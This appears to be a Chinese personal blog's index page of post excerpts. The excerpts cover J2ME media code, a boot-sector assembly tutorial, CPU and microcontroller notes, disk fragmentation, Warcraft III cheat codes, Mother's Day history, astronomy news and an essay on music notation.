import javax.microedition.midlet.MIDletStateChangeException;


public class MyWavMidlet extends MIDlet
{
Player player;

public MyWavMidlet()
{
super();
try
{
InputStream is=this.getClass().getResourceAsStream("/OKSOUND.WAV");
player=Manager.createPlayer(is, "audio/x-wav");
}
catch(IOException e){}
catch(MediaException e){}
}

// TODO Auto-generated constructor stub


protected void destroyApp(boolean arg0) throws MIDletStateChangeException
{
// TODO Auto-generated method stub

}

protected void pauseApp()
{
// TODO Auto-generated method stub

}

protected void startApp() throws MIDletStateChangeException
{
try
{
player.start();
}
catch(MediaException e){}

}
}
继续阅读...

MainCanvas.java:

import java.io.IOException;
import javax.microedition.lcdui.Canvas;
import javax.microedition.lcdui.Graphics;
import javax.microedition.lcdui.Image;

public class MainCanvas extends Canvas
{
public Image m_Image;
MainCanvas()
{
try
{
m_Image=Image.createImage("/ubuntu.jpg");
}
catch(IOException e){}
}
protected void paint(Graphics g)
{
g.drawImage(m_Image, 0, 0, Graphics.TOP|Graphics.LEFT);
}

}

MyCartoonMidlet.java:

import javax.microedition.midlet.MIDlet;
import javax.microedition.midlet.MIDletStateChangeException;
import javax.microedition.lcdui.Display;


public class MyCartoonMidlet extends MIDlet {
public MainCanvas m_MainCanvas;

public MyCartoonMidlet() {
super();
// TODO Auto-generated constructor stub
}

protected void destroyApp(boolean arg0) throws MIDletStateChangeException {
// TODO Auto-generated method stub

}

protected void pauseApp() {
// TODO Auto-generated method stub

}

protected void startApp() throws MIDletStateChangeException {
m_MainCanvas=new MainCanvas();
Display.getDisplay(this).setCurrent(m_MainCanvas);
while(true)
{
m_MainCanvas.repaint();
}
}
// TODO Auto-generated method stub

}
继续阅读...

转眼间,简谱与五线谱这门课程已经接近尾声,但是我在音乐课上感受到的那种美妙的音符却如余音绕梁,不绝悦耳。简谱与五线谱虽说是两种不同的记谱方式,可是它们带给了我同样的音乐感受。
简谱的美妙在于它仅仅用了七个数字就把自然界一切美好的声音都囊括其内了。1、2、3、4、5、6、7分别用来表示七个不同的音阶,从而构成各种不同音调和音品的声音,再加上一些标记符,便形成了美妙的音乐。一切都是如此的简单明了,这不得不使我感叹简谱的伟大,这也真正体现了简谱之 “简” 。

简谱,由于其简单易学,使得它被更广泛的采用。我们最早接触的是简谱而非五线谱。记得上一年级时,老师就开始教我们识谱。我最早接触的是 “让我们荡起双桨这首”歌。“让我们当起双桨…… ” ,每当我听到这儿时的歌,我的内心就跌宕起伏,久久不能平静,当然这也自然而然的加深了我对简谱的感情。幼稚的我当时总是有一个疑问:“为什么只用七个数字就能表达出如此复杂的音乐呢?当然我始终没有解决这个疑问,而且这还直接加深了我的数字的兴趣,使得我在数学方面的兴趣日趋高涨。也许我的数学成绩在很大一方面还得归功于简谱呢!

曾经有一段时间,那就是我上高中的时候,我几乎把简谱给忘了。可是一次音乐课上,当我听到莫扎特的一首美妙的曲子的时候,我几乎被那 “天籁之音”所倾倒。那跳跃的音符不正是我一直以来感觉缺少的东西吗?于是我又找到一本简谱课本,用断续的声音拼唱着那美妙的音符。当时我真正感觉到了音乐的伟大,我甚至突发奇想,想成为一名音乐家,当然这个幻想以失败而告终。

五线谱,这是我接触的第二种记录音乐的方法。记得高中的一篇文章中提到:

“春天到了,燕子飞回来了,电线杆上排成长队的燕子仿佛是五线谱上跳跃的音符,从此我对五线谱产生了一种莫名的喜爱。它那神秘的姿态始终困扰着我,我把它看成我心目中的神圣的女神。高中一年级我开始接触五线谱了,带着一种期待的心情我早早的来到音乐教室,我选择了一个最好的位置坐下了。当第一根五线谱被老师那灵巧的手画出时,我被它那美丽的外表迷惑了。五根直线上仿佛真的停留了几只休憩的燕子,那黑黑的“符尾”加上那俊俏的 “符杆”组成了一幅美妙的图片。更加神奇的是老师用她那动听的音喉唱出了这根五线谱上的音符所表达的含义。老师仿佛变成了神仙,她居然能唱出一幅画所表达的含义!我对五线谱的崇拜加深了,可是整个高中我没有机会学习五线谱。

于是到了大学,当我看到选修课 “简谱与五线谱 ”时,我激动不已。我想:我终于有机会学习五线谱了。可是我怎么也找不回高中时候对五线谱的那种特殊的感情。因为我真正理解到了五线谱的含义,也许只有距离才能产生美吧!

我接触的第一首用五线谱记谱的歌是莫扎特的一首歌。其实我对莫扎特的崇拜完全来自我对五线谱的崇拜。音乐是人类智慧的结晶。简谱与五线谱则是这种伟大结晶的真正体现。有时候真的难以想象没有音乐世界该是多么的可怕:世界充满愚昧与无知,真个世界没有一丝生气,从工厂、教室里发出的都是宁人厌烦的噪声,一切都宁人厌恶。想象一下,这时候某个音乐天才用一根筷子敲响了世界的第一声音乐,声音是那么的美妙以至与每一个人都为之倾倒,当人们从音乐声中苏醒过来时,人们才发觉原来还有如此美妙的声音,当然从此以后,整个世界都变成了音乐的天堂,人们开始赞叹:原来音乐也可以让世界变得如此美妙,正如其本身一样优雅动听!当然从此我们的世界也变得生机勃勃、鸟语花香!
继续阅读...


继续阅读...

regedit:
Hkey_local_machine_sofeware\microsoft\sharedtool\msconfig\startupreg\startupfolder 删除startupreg和 startupfolder 的所有项!!!
继续阅读...

母亲节在希腊

母亲节起源于希腊,古希腊人在这一天向希腊神话中的众神之母赫拉致敬。在17世纪中叶,母亲节流传到英国,英国人把封斋期的第四个星期天作为母亲节。在这一天里,出门在外的年青人将回到家中, 给他们的母亲带上一些小礼物。

现代意义上的母亲节起源于美国,由Amanm、Jarvis(1864-1948) 发起,她终身未婚,一直陪伴在她母亲身边。于1905年世纪,在母亲去世时, Amanm悲痛欲绝。两年后(1907年),Amanm和她的朋友开始写信给有 影响的部长、商人、议员来寻求支持,以便让母亲节成为一个法定的节日。Amanm认为子女经常忽视了对母亲的感情,她希望母亲节能够让人 多想一想母亲为家庭所付出的一切。

第一个母亲节于1908年5月10日在西弗吉尼亚和宾夕法尼亚州举行, 在这次节日里,康乃磬被选中为献给母亲的花,并以此流传下来。   

1913年,美国国会通过了一份议案,将每年5月的第二个星期天作为 法定的母亲节。母亲节从此流传开来!

母亲节在英国

十七世纪英格兰,为表达对英国母亲们的敬意,乃订四旬斋的第四个星期日为「Mothering Sunday」,人们在这一天回家探视双亲,并致礼表示敬意。(注:四旬斋是指复活节前夕之前,星期天除外的40天)。

当时,有许多的穷人必须在有钱人家里帮 讨生活,而被迫离家寄宿在主人家里,在Mothering Sunday这一天,主人们会放他们假,并鼓励他们返家与妈妈团聚。为增加欢乐气氛,也发展了一种特别的蛋糕称为mothering cake。

随着基督神在欧洲的扩散,这个节日转为对「Mother Church」的崇敬:表达人们对赋予他们生命、保护他们免於伤害的精神力量的感谢。从此,教会的仪式便与母亲节的庆祝活动相结合,以同时传达人们对母亲与教会的感念。

母亲节在美国

在美国,最早关於母亲节的记载是1872年由茱丽雅(Julia Ward Howe即The Battle Hymn of the Republic的作者)所提出的,她建议将这一天献给「和平」,并在波斯顿等地举行母亲节的集会。

1907年,费城的安娜· 贾维斯(Ana Jarvis)为了发起订立全国性的母亲节而活动。贾维斯夫人是一个有着10个子女的母亲,是当时美国格拉夫顿城教会主日学校的总监。在美国以解放黑奴为目的的南北战争结束后,她在学校里负责讲述美国国殇纪念日的课程。贾维斯是一位心地善良,极富同情心的女人。她讲述着战争中那一个个为正义捐躯的英雄的故事,望着台下那一张张充满稚气的孩子们的脸,一个想法猛然涌上心头:为祖国贡献了这么多英勇战士,保证了战争胜利的,不就是那一个个含辛茹苦地抚育着子女的母亲们吗?她们的儿子血染疆场,承受了最大的痛苦和牺牲的,不也是这些默默无闻的母亲吗?因此,她提出应该设立一个纪念日或母亲节,给这些平凡的女人一些慰藉,表达儿女们对母亲的孝思。可惜的是,这个良好的愿望还没有实现,贾维斯夫人便与世长辞了。她的女儿安娜·贾维斯目睹母亲抚养自己和兄弟姐妹成人的辛劳,深感母亲的提议是适合天理人心的。因此,她写出了几十封信,发给美国国会。地方州长和妇女组织等,提议创立母亲节。在她的一再呼吁下,这一提议得到了社会上的广泛响应和支持。

1914年,美国总统威尔逊郑重宣布,把每年5月的第二个星期天,也就是贾维斯夫人的忌日,定为母亲节。美国政府还规定,母亲节这天,家家户户都要悬挂国旗,以表示对母亲的尊敬。由于贾维斯夫人生前喜爱康乃馨花,这种花也就成了母亲节的象征。

母亲节是个充满人间温情的节日,这一天,家里的男成员要把全部家务活都包下来,儿女们每人都要做一件让母亲高兴的事,以尽孝道。即使远在异地的孩子,也要打电话向母亲表示祝贺。这一天,美国人民都要在胸前佩上一朵花。母亲健在的,戴一朵有色的花,表示欢愉;母亲逝世的,戴一朵白花,表达哀思。

全世界的母亲节

母亲节创立后,也得到了全世界各国人民的支持。安娜·贾维斯在世时,设立母亲节的国家已达43个。时至今日,欢庆这个节日的国家就更多了。母亲节,已经成了一个名副其实的国际性节日。按惯例,“国际母亲节”被定在每年的5月11日举行。虽然,有一些国家是在一年中不同的时节庆祝属於他们的母亲节。然而,多数国家如丹麦、芬兰、意大利、土耳其、澳大利亚和比利时等等,都是在五月的第二个星期日庆祝母亲节的。
继续阅读...



科技日报纽约2月27日电(记者王俊鸣)美国航空航天局今天说,科研人员已经无法再收到先驱者10号深空探测器发回的信号。这意味着这个人类31年前派往太阳系外的使者已经告别了人类。
先驱者10号深空探测器是人类探索宇宙深处的标志之一。它于1972年发射升空,是人类向太阳系外发射的第一个飞行器。先驱者10号深空探测器曾以每小时5万公里的速度飞行,用了不到一天的时间接近月球,用了11个星期接近火星,用了不到两年的时间接近木星。它曾首次发回详细的木星和土星的照片,并在太阳系边缘的有利位置发回重要的太阳风和宇宙辐射测量数据。

航空航天局的工程师报告说,该局的深空网络已经有1个月的时间没有收到先驱者10号深空探测器的信号了。最后一次收到信号的时间是2003年1月22日。当时,它距离地球100亿公里。科研人员曾于今年2月7日试图与先驱者10号深空探测器取得联系,但失败了。科研人员估计,先驱者10号深空探测器的能量已经不足以允许它发回任何信号,目前也无法指望与它再取得任何联系。

航空航天局的官员表示,先驱者10号深空探测器的确堪称“先驱者”。它最初设计寿命是21个月,但它却延续了30年,而且在30年间为人类带来许多非常宝贵的宇宙探测资料。预计,先驱者10号深空探测器将在寂静中继续其飞往金牛座的漫长太空旅程。如果一切顺利,它将在200万年后抵达那里。据说,先驱者10号深空探测器还携带了一张金牌,金牌上描绘了人类的外貌特征以及如何在宇宙中找到人类的方向,这是人类在试图向幻想中的其他智慧生命发出的信号。
继续阅读...

2003年01月07日新华网伦敦电(记者王艳红) 两个研究小组6日宣布,有证据表明,银河系外围可能镶嵌着一个由数以十亿颗恒星组成的巨大的环。

以前人们曾经发现一些与银河系同类的螺旋星系外缘有着暗淡的恒星环,但因银河系内部的大量星光干扰和技术条件的限制,妨碍了天文学家对我们所居住的这个星系的外围进行观测。此次发现是人们第一次发现银河系也可能围绕着这样的环。

英国《新科学家》杂志和英国广播公司报道说,参与“斯隆数字天空探索”计划的一个美国研究小组在观测银河系外围时,发现了一段由恒星构成的、以银河系中心为圆心的圆弧。第二个小组使用英国设在大西洋拉帕尔马岛的艾萨克·牛顿望远镜观测银河系的邻居仙女座星系时,在另一片天区里发现了一段类似的圆弧。两段圆弧离银河系中央的距离相等,这意味着它们可能都是一个巨大的、以银河系中央为圆心的圆环的一部分。

参与第二个研究小组的英国剑桥大学科学家迈克·欧文说,目前还不清楚这个圆环是否完整,但很有可能是如此,科学家下一步工作将是在天空中寻找圆环的其它部分,研究其中恒星的温度、亮度、速度等,并利用收集到的信息对这个圆环进行详细的建模。

目前圆环的成因还不清楚。有科学家认为,其中的恒星有可能诞生于银河系内部,在漫长的年代里运行到了外缘;圆环也有可能是银河系附近一个小星系的残骸,该星系在银河系引力作用下被吞并了。研究这个圆环的起源,将有助于了解星系的演化过程。
继续阅读...

东方网2003年2月27日消息:日前,天文学家公布了一个新发现的气体云团——被认为是宇宙中最寒冷地方的首张照片。

位于离开地球5000光年的布梅兰格星云是在1979年由瑞典和美国天文学家利用架设在智利的巨大望远镜发现的,1980年取名为“布梅兰格”,这是因为它看上去像加长的变成弯形的飞去来器(布梅兰格是英文飞去来器的音译)。

消息说,天文学家也称该星云为“宇宙冰箱”,布梅兰格星云的温度为-272℃,仅比绝对零度(-273.15℃)高1度左右。确实,在地球实验室中已成功获得更低的温度,但是在自然界从未发现过如此低的温度。

布梅兰格星云照片是美国宇航局和欧洲航天局发射升空的“哈勃”太空望远镜拍摄的,这些照片为美国宇航局和欧洲航天局共同拥有。去年美国哥伦比亚号航天飞机为“哈勃”安装了新型改进镜头,使照片的分辨率提高了10倍。特别是,改进后的“哈勃”拍摄了离开我们地球4.2亿光年两银河的碰撞照片,使天文学家能观察到位于所谓“朦胧区域”即银河形成初期的个别银河。

欧洲航天局代表声称,“即使是大爆炸之后形成的-270℃温度也比布梅兰格星云温度要高,这是迄今为止在自然界中发现的唯一天体,其温度比大爆炸后保留的辐射背景温度更低。”现已查明,布梅兰格星云气体在吸收微波背景辐射——大爆炸后留下的残余辐射,这一过程只会在气体温度冷却到-270℃以下时才会发生,这在自然界中任何地方都从未观察到过。

布梅兰格星云是一气体和尘埃云团,云团是从一颗正在死亡的恒星中以大于150千米/秒的速度喷溅出来的,这导致布梅兰格星云急剧变冷。最可能的是,该星云变冷是由于家用压缩致冷冰箱作用原理所致,即由于气体快速膨胀的结果。不排除这样的可能性,即该星云局部冷却可能存在暂时未发现的“黑洞”一类天体。简单地说,这种情况与儿童气球的效应相似,如果突然从气球中放出空气,则气球会马上变冷。
继续阅读...


继续阅读...

无敌并一击必杀: whosyourdaddy
无限能量: thereisnospoon
任务模式里即使失败也继续游戏: strengthandhonor
地图全开: iseedeadpeople
立即胜利: allyourbasearebelongtous
立即失败: somebodysetusupthebomb
禁止任务默认的胜利条件: itvexesme
加黄金: keysersoze [黄金数量](如果未指定数量默认增加500)
加木材: leafittome [木材数量](如果未指定数量默认增加500)
加黄金和木材: greedisgood [数量](如果未指定数量默认增加500)

快速建造: warpten
无人口上限: pointbreak
快速研究技能: whoisjohngalt
快速升级: sharpandshiny
解除科技树限制: synergy

将时间直接设定到白昼: riseandshine
将时间直接设定到夜晚: lightsout
设定具体时间: daylightsavings [小时数]
让时间永远停留在白昼: daylightsavings

等级选择: motherland [种族] [等级]
Fast death(?): iocainepowder
Cool down时间为0。即放完一个魔法立刻可以放第二次。。 thedudeabides
继续阅读...


继续阅读...

89S51相对于89C51增加的新功能包括:

-- 新增加很多功能,性能有了较大提升;

-- ISP在线编程功能,这个功能的优势在于改写单片机存储器内的程序不需要把芯片从工作环境中剥离。是一个强大易用的功能。

-- 工作频率为33MHz,大家都知道89C51的极限工作频率只有24M,就是说S51具有更高工作频率,从而具有了更快的计算速度。

-- 具有双工UART串行通道。

-- 内部集成看门狗计时器,不再需要像89C51那样外接看门狗计时器单元电路。

-- 双数据指示器。

-- 电源关闭标识。

-- 全新的加密算法,这使得对于89S51的解密变为不可能,程序的保密性大大加强,这样就可以有效的保护知识产权不被侵犯。

-- 兼容性方面:向下完全兼容51全部字系列产品。比如8051、89C51等等早期MCS-51兼容产品。在89c51上一样可以照常运行,这就是所谓的向下兼容。
继续阅读...

所谓双核心处理器,简单地说就是在一块CPU基板上集成两个处理器核心,并通过并行总线将各处理器核心连接起来。双核心并不是一个新概念,而只是CMP(Chip Multi Processors,单芯片多处理器)中最基本、最简单、最容易实现的一种类型。其实在RISC处理器领域,双核心甚至多核心都早已经实现。CMP最早是由美国斯坦福大学提出的,其思想是在一块芯片内实现SMP(Symmetrical Multi-Processing,对称多处理)架构,且并行执行不同的进程。早在上个世纪末,惠普和IBM就已经提出双核处理器的可行性设计。IBM 在2001年就推出了基于双核心的POWER4处理器,随后是Sun和惠普公司,都先后推出了基于双核架构的UltraSPARC以及PA-RISC芯片,但此时双核心处理器架构还都是在高端的RISC领域,直到前不久Intel和AMD相继推出自己的双核心处理器,双核心才真正走入了主流的X86领域
Intel和AMD之所以推出双核心处理器,最重要的原因是原有的普通单核心处理器的频率难于提升,性能没有质的飞跃。由于频率难于提升,Intel在发布3.8GHz的产品以后只得宣布停止4GHz的产品计划;而AMD在实际频率超过2GHz以后也无法大幅度提升,3GHz成为了AMD无法逾越的一道坎。正是在这种情况下,为了寻找新的卖点,Intel和AMD都不约而同地祭起了双核心这面大旗。
Intel双核心处理器的简介

Intel目前的桌面平台双核心处理器代号为Smithfield,基本上可以简单看作是把两个Pentium 4所采用的Prescott核心整合在同一个处理器内部,两个核心共享前端总线,每个核心都拥有独立的1MB二级缓存,两个核心加起来一共拥有2MB,但这显然与Pentium 4 6XX系列处理器的2MB缓存不同。但由于处理器中的两个内核都拥有独立的缓存,因此必须保证每个物理内核的缓存信息必须保持一致,否则就会出现运算错误。例如在系统的内存数据区记录着A=1;如果第一个处理器内核对此数据区进行读写操作,并且改写为A=0,那么第二个处理器内核的缓存也必须进行更新,把A更新为0,否则的话,在以后的操作中数据就会出错。这样一个过程就是缓存数据的一致性,也就是说双核心处理器需要"仲裁器"来作协调。针对这个问题,Intel将这个协调工作交给了北桥芯片(MCH或GMCH):两个核心需要同步更新处理器内缓存的数据时,需要通过前端总线再通过北桥作更新。虽然缓存的数据并不巨大,但由于需要通过北桥作出处理,无疑会带来一定的延迟,核心之间的通信就会变得缓慢,这将大大影响处理器性能的发挥。
Intel目前的桌面平台双核心处理器产品分为Pentium D和Pentium Extreme Edition(Pentium EE)两大系列,其中,Pentium D包括820(2.8GHz)、830(3.0GHz)、840(3.2GHz)三个型号,采用800MHz FSB,面向主流市场;而Pentium EE目前只有840(3.2GHz)一个型号,同样采用800MHz FSB,面向高端应用。Pentium D与Pentium EE都采用0.09微米制程,LGA775接口;它们最主要的区别就是Pentium EE支持超线程技术,而Pentium D则不支持超线程技术,也就是说在打开超线程技术的情况下Pentium EE将被操作系统识别为四颗处理器。
在主板芯片组方面,由于北桥芯片担负着处理和交换不同核心缓存数据的重要作用,所以目前能够支持Pentium D和Pentium EE的是945/955系列,而915/925是不能支持的,在915/925主板上就算是能够开机,也只能使用双核心其中的一个核心!

AMD双核心处理器的简介

AMD目前的桌面平台双核心处理器代号为Toledo和Manchester,基本上可以简单看作是把两个Athlon 64所采用的Venice核心整合在同一个处理器内部,每个核心都拥有独立的512KB或1MB二级缓存,两个核心共享Hyper Transport,从架构上来说相对于目前的Athlon 64架构并没有任何改变。但与Intel的双核心处理器不同的是,由于AMD的Athlon 64处理器内部整和了内存控制器,而且在当初Athlon 64设计时就为双核心做了考虑,但是仍然需要仲裁器来保证其缓存数据的一致性。AMD在此采用了SRQ(System Request Queue,系统请求队列)技术,在工作的时候每一个核心都将其请求放在SRQ中,当获得资源之后请求将会被送往相应的执行核心,所以其缓存数据的一致性不需要通过北桥芯片,直接在处理器内部就可以完成。与Intel的双核心处理器相比,其优点是缓存数据延迟得以大大降低。
AMD目前的桌面平台双核心处理器是Athlon 64 X2,其型号按照PR值分为3800+至4800+等几种,同样采用0.09微米制程,Socket 939接口,支持1GHz的Hyper Transport,当然也都支持双通道DDR内存技术。
由于AMD双核心处理器的仲裁器是在CPU内部而不是在北桥芯片上,所以在主板芯片组的选择上要比Intel双核心处理器要宽松得多,甚至可以说与主板芯片组无关。理论上来说,任何Socket 939的主板通过更新BIOS都可以支持Athlon 64 X2。对普通消费者而言,这样可以保护已有的投资,而不必象Intel双核心处理器那样需要同时升级主板
继续阅读...

其实写一个操作系统并不是多么遥远的事情,10分钟就可以搞定一个微型的操作系统:

org 07c00h
mov ax,cs
mov dx,ax
mov es,ax
call DispStr
jmp $
DispStr:
mov ax,BootMessage
mov bp,ax
mov cx,16
mov ax,01301h
mov bx,000ch
mov dl,0
int 10h
ret
BootMessage: db "Hello, OS world!"
times 510-($-$$) db 0
dw 0xaa55

把上段程序保存为FirstOS.asm,用NASM汇编一下,输入命令nasm FirstOS.asm -o FirstOS.bin,会产生一个FirstOS.bin文件,用绝对扇区读写工具把这个文件写进软盘的第0面0道的第一个扇区。重启电脑,选择从软驱启动,几秒钟后就可以在电脑屏幕上显示出一行字符:Hello, OS world!

考虑到现在装有软驱的电脑比熊猫还少见,而且频繁的重启对电脑来说也是一种摧残,我们可以在现有系统上装一个虚拟机,虚拟出一个硬件平台,也可以达到同样的效果。

准确的说上面的程序还不能算是一个操作系统,而只是一个引导扇区,但是它跟我们以前编的程序已经有了本质的不同:它不依赖于任何软件,直接作用于硬件,直接控制硬件。下面将对以上程序进行解释,虽然我对它也只是一知半解,我会尽可能的把它表达清楚。

在开始解释代码之前先介绍一下引导扇区的知识。当计算机电源打开后,计算机会加电自检,然后选择启动盘,如果选择的是从软驱启动,然后检查软驱的第0面0道的第一个扇区,如果这个扇区是以0xaa55结束,那么计算机的BIOS会把它当作一个引导扇区,然后把这个扇区的内容加载到内存的7c00h处,然后跳转到7c00处将控制权转交给这段引导代码。因此程序开始的第一行就是org 7c00h,告诉编译器,我段程序将会被加载到内存的7c00h处,程序的最后一行是dw 0xaa55,使这段程序以0xaa55结束,以便BIOS可以认出它是引导扇区。

第五行call DispStr调用显示字符串的子程序,第七行jump $使程序进入死循环。在NASM中,$代表本行程序汇编后的地址,$$代表本节程序开始的地址,倒数第二行times 510-($-$$)就是为了填充程序使它刚好为512B。$-$$表示当前行距本节开始处的距离,在本程序中就是本行距程序开始处的距离,times是重复指令,重复510-($-$$)次。

mov ax,BootMessage和mov bp,ax 两条指令把字符串的首地址传给bp,mov cx 16把串长度传给cx。

mov ax,01301h
mov bx,000ch
mov dl,0
这三条指令应该是为下面的int 10h做准备,具体为什么这么写我还不太清楚,我们可以先把它放在一边,等以后慢慢了解。
继续阅读...

产生碎片整理想法的主要在两类朋友中,一类是受windows思想影响的朋友,还有一类是对操作系统原理有一定程度了解的朋友。

  我在这里先简单地说明一些问题。

  所有地操作系统都会产生磁盘碎片,这正是某些朋友产生疑虑的原因。这个碎片在上面地官方资料中称为内部碎片。它是这样产生的,假设一个磁盘的空间有20k,它的基本存储单位为簇,设有两个文件,一个7k,一个1k。当簇的大小为4k时,磁盘分为了5个簇,两个文件共占用3个簇,即使用了12k,其中浪费地空间就是4k,也就是产生了内部碎片4k。因此我们就了解了:内部碎片主要是造成磁盘空间的浪费。请注意:windows的磁盘碎片整理功能所整理的碎片不是这个碎片,也无法对这个碎片进行操作,它所对应的碎片概念是外部碎片。

  那么,可以对内部碎片进行优化处理吗?答案是肯定的。以上面的例子来说,如果把每一簇分成2k,那么20k的磁盘就分为了10个簇,7k和1k两个文件共占用了5个簇,10k的空间,浪费的空间,即内部碎片为2k。

  由此可见,簇分的越小,所浪费的空间越少。这也是NTFS比FAT32优秀的一个地方。在Win 2000的FAT32文件系统的情况下,分区大小在2GB~8GB时簇的大小为4KB;分区大小在8GB~16GB时簇的大小为8KB;分区大小在 16GB~32GB时,簇的大小则达到了16KB。而Win 2000的NTFS文件系统,当分区的大小在2GB以下时,簇的大小都比相应的FAT32簇小;当分区的大小在2GB以上时(2GB~2TB),簇的大小 都为4KB。相比之下,NTFS可以比FAT32更有效地管理磁盘空间,最大限度地避免了磁盘空间的浪费。

  有的朋友会进一步的思考,那么为什么文件系统不是把簇分的非常的小呢?这里就引出了另一个问题,文件访问查找的问题。还是以上面的例子说明,当我们要查找使用一个文件时,就需要通过页表来进行访问。打个比方,你住的地方就好比是文件所占用的簇,但是要找到你,就得通过你的住址来进行访问,而访问文件则是通过文件分配表。如果住的人多,地址也就很多,那么要查到你住的地址所花的时间也就很多。同样的道理,当簇分的越小,记录簇的地址也就越大,查找文件所在的簇所花的时间也就越多。当簇为4k时,簇的地址是5个,而簇为2k时,簇的地址是10个。因而簇的大小是在空间和时间上取得平衡的一个结果。

  这里也对另一个问题作一些提示,有些第三方分区软件可以自定义簇的大小,建议采用默认值,否则会在某些情况下产生一些问题。

  有的朋友会进一步提问:那么为什么在普通情况下NTFS分的簇会比FAT32的要小,而访问速度会差不多呢?这又牵涉到文件访问机制等等问题。这里我就不再介绍了,其实这个问题我也不能完全说清,有兴趣的朋友可以找一些操作系统方面的资料进行阅读,可以在一定程度上解决这个问题。
为什么Linux不需要磁盘碎片整理

作者:OneAndOneIs2

翻译:rainking

有一个关于Linux的问题经常被问及:为什么Linux不需要磁盘碎片整理呢?在这里,我试图就“为什么有的文件系统比另一些文件系统更加需要磁盘碎片整理”给出一个简单的,非技术性的答案。

我将试图用一个ASCII矩阵来解释所有的原理,而不是用那些枯燥而晦涩的术语来打击大家的积极性。下面就是我将用来解释原理的矩阵:

a b c d e f g h i j k l m n o p q r s t u v w x y z

a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
b 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
g 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
h 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
i 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
j 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
k 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
l 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
m 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
n 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
o 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
p 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
q 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
r 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
t 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
u 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
v 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
w 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
y 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
z 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

以上这个矩阵就可以简单的用来表示一个很小的硬盘,初始状态是空的,全部都被0填充。在矩阵顶部和左侧的a-z都是用来定位每一个数据的。最左上角的那个0就是aa,最右上角的那个0就是za,最左下角的就是az。

我将以一个大家都非常非常熟悉的文件系统开始,一个经常需要磁盘碎片整理的系统—FAT。其实无论Windows用户还是Linux用户都会用到FAT文件系统。因为USB闪盘一般都使用这个文件系统。FAT是一个非常非常重要的文件系统,虽然它经常需要磁盘碎片整理。

我现在在磁盘上加入一个文件,于是磁盘看起来会变成这个样子:

a b c d e f g h i j k l m n o p q r s t u v w x y z

a T O C h e l l o . t x t a e l e 0 0 0 0 0 0 0 0 0 0
b 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 T O C
e H e l l o , _ w o r l d 0 0 0 0 0 0 0 0 0 0 0 0 0 0
f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

(为了看起来更加清楚,g-z的空行被省略了)

正如你所看到的,前4行是TOC(Table Of Contents),即所谓的内容表。TOC会存储磁盘上所有文件的位置。在我上面的例子中,TOC包含了一个名字叫做“hello.txt”的文件,并且这个文件的内容是从ae到le的。往下看ae到le之间的内容,我们能看到这个文件的内容是“Hello,_world”

到目前为止,一切都正常对吗?好,那我们再来添加一个文件:

a b c d e f g h i j k l m n o p q r s t u v w x y z

a T O C h e l l o . t x t a e l e b y e . t x t m e z
b e 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
d 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 T O C
e H e l l o , _ w o r l d G o o d b y e , _ w o r l d
f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

正如你所见,第二个文件被紧接着放置在第一个文件之后。这样的好处是你所有的文件都会紧密地放置在一起,这样读取它们将会非常的迅速和方便。要知道磁盘上最慢的就是读写头的移动了,它移动的越少,则读取的速度越快。

